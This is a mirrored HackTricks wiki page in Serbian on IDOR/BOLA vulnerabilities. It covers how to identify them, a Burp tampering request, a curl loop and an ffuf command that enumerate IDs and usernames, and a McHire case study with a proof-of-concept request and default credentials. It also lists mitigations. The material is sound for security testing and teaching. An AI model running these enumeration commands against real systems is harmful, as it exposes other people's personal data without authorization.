mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
107 lines
5.6 KiB
Markdown
107 lines
5.6 KiB
Markdown
# IDOR (Insecure Direct Object Reference)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) pojavljuje se kada web ili API endpoint otkriva ili prihvata identifikator koji korisnik može kontrolisati i koji se koristi **direktno** za pristup internom objektu **bez provere da li je pozivatelj ovlašćen** da pristupi/izmeni taj objekat.
|
||
Uspešna eksploatacija obično omogućava horizontalno ili vertical privilege-escalation, poput čitanja ili izmena podataka drugih korisnika i, u najgorem slučaju, full account takeover ili mass-data exfiltration.
|
||
|
||
---
|
||
## 1. Identifikacija potencijalnih IDOR-a
|
||
|
||
1. Tražite **parametre koji referenciraju objekat**:
|
||
* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||
* Query: `?id=42`, `?invoice=2024-00001`
|
||
* Body / JSON: `{"user_id": 321, "order_id": 987}`
|
||
* Headers / Cookies: `X-Client-ID: 4711`
|
||
2. Preferirajte endpoint-e koji **čitaju ili ažuriraju** podatke (`GET`, `PUT`, `PATCH`, `DELETE`).
|
||
3. Obratite pažnju kada su identifikatori **sekvencijalni ili predvidljivi** – ako je vaš ID `64185742`, tada `64185741` verovatno postoji.
|
||
4. Istražite skrivene ili alternativne tokove (npr. *"Paradox team members"* link na login stranicama) koji mogu otkriti dodatne API-je.
|
||
5. Koristite **autentifikovanu sesiju sa niskim privilegijama** i menjajte samo ID **zadržavajući isti token/cookie**. Odsustvo greške autorizacije obično je znak IDOR.
|
||
|
||
### Quick manual tampering (Burp Repeater)
|
||
```
|
||
PUT /api/lead/cem-xhr HTTP/1.1
|
||
Host: www.example.com
|
||
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
|
||
Content-Type: application/json
|
||
|
||
{"lead_id":64185741}
|
||
```
|
||
### Automatizovana enumeracija (Burp Intruder / curl loop)
|
||
```bash
|
||
for id in $(seq 64185742 64185700); do
|
||
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||
-H 'Content-Type: application/json' \
|
||
-H "Cookie: auth=$TOKEN" \
|
||
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
|
||
done
|
||
```
|
||
---
|
||
|
||
### Error-response oracle for user/file enumeration
|
||
|
||
Kada download endpoint prihvata i username i filename (npr. `/view.php?username=<u>&file=<f>`), suptilne razlike u error messages često stvaraju oracle:
|
||
|
||
- Nepostojeći username → "User not found"
|
||
- Neispravan filename ali valid extension → "File does not exist" (ponekad navede i dostupne fajlove)
|
||
- Pogrešna extension → validation error
|
||
|
||
Sa bilo kojom authenticated session, možete fuzz-ovati username parametar dok držite benign filename i filtrirati po stringu "user not found" da otkrijete validne korisnike:
|
||
```bash
|
||
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
|
||
-b 'PHPSESSID=<session-cookie>' \
|
||
-w /opt/SecLists/Usernames/Names/names.txt \
|
||
-fr 'User not found'
|
||
```
|
||
Kada se identifikuju validna korisnička imena, direktno zatražite specifične fajlove (npr. `/view.php?username=amanda&file=privacy.odt`). Ovaj obrazac često dovodi do neovlašćenog otkrivanja dokumenata drugih korisnika i izlaganja kredencijala.
|
||
|
||
---
|
||
## 2. Studija slučaja iz stvarnog sveta – McHire Chatbot Platform (2025)
|
||
|
||
Tokom testa Paradox.ai-powered **McHire** recruitment portala otkriven je sledeći IDOR:
|
||
|
||
* Endpoint: `PUT /api/lead/cem-xhr`
|
||
* Authorization: user session cookie za **bilo koji** test nalog restorana
|
||
* Body parameter: `{"lead_id": N}` – 8-znamenkasti, **uzastopni** numerički identifikator
|
||
|
||
Smanjivanjem `lead_id` tester je dobio proizvoljne podnosioce prijava sa **full PII** (ime, e-mail, telefon, adresa, preferencije smena) kao i consumer **JWT** koji je omogućio session hijacking. Enumeracija opsega `1 – 64,185,742` otkrila je otprilike **64 miliona** zapisa.
|
||
|
||
Proof-of-Concept request:
|
||
```bash
|
||
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||
-H 'Content-Type: application/json' \
|
||
-d '{"lead_id":64185741}'
|
||
```
|
||
U kombinaciji sa **podrazumevanim administratorskim akreditivima** (`123456:123456`) koji su omogućili pristup test nalogu, ranjivost je dovela do kritičnog, kompanijskog curenja podataka.
|
||
|
||
---
|
||
## 3. Uticaj IDOR / BOLA
|
||
* Horizontalno eskaliranje – čitanje/izmena/brisanje podataka **ostalih korisnika**.
|
||
* Vertikalno eskaliranje – korisnik sa niskim privilegijama dobija funkcionalnosti namenjene samo administratorima.
|
||
* Masovno curenje podataka ako su identifikatori sekvencijalni (npr. applicant IDs, invoices).
|
||
* Preuzimanje naloga krađom tokena ili resetovanjem lozinki drugih korisnika.
|
||
|
||
---
|
||
## 4. Ublažavanja i najbolje prakse
|
||
1. **Sprovodite autorizaciju na nivou objekta** za svaki zahtev (`user_id == session.user`).
|
||
2. Preferirajte **indirektne, nepredvidljive identifikatore** (UUIDv4, ULID) umesto auto-increment IDs.
|
||
3. Izvršavajte autorizaciju **server-side**, nikada se ne oslanjajte na skrivene form polja ili UI kontrole.
|
||
4. Implementirajte **RBAC / ABAC** provere u centralnom middleware-u.
|
||
5. Dodajte **rate-limiting & logging** kako biste otkrili enumeraciju ID-eva.
|
||
6. Bezbednosno testirajte svaki novi endpoint (unit, integration, and DAST).
|
||
|
||
---
|
||
## 5. Tooling
|
||
* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
|
||
* **OWASP ZAP**: Auth Matrix, Forced Browse.
|
||
* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
|
||
|
||
|
||
|
||
## References
|
||
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
|
||
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
|
||
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||
* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||
{{#include ../banners/hacktricks-training.md}}
|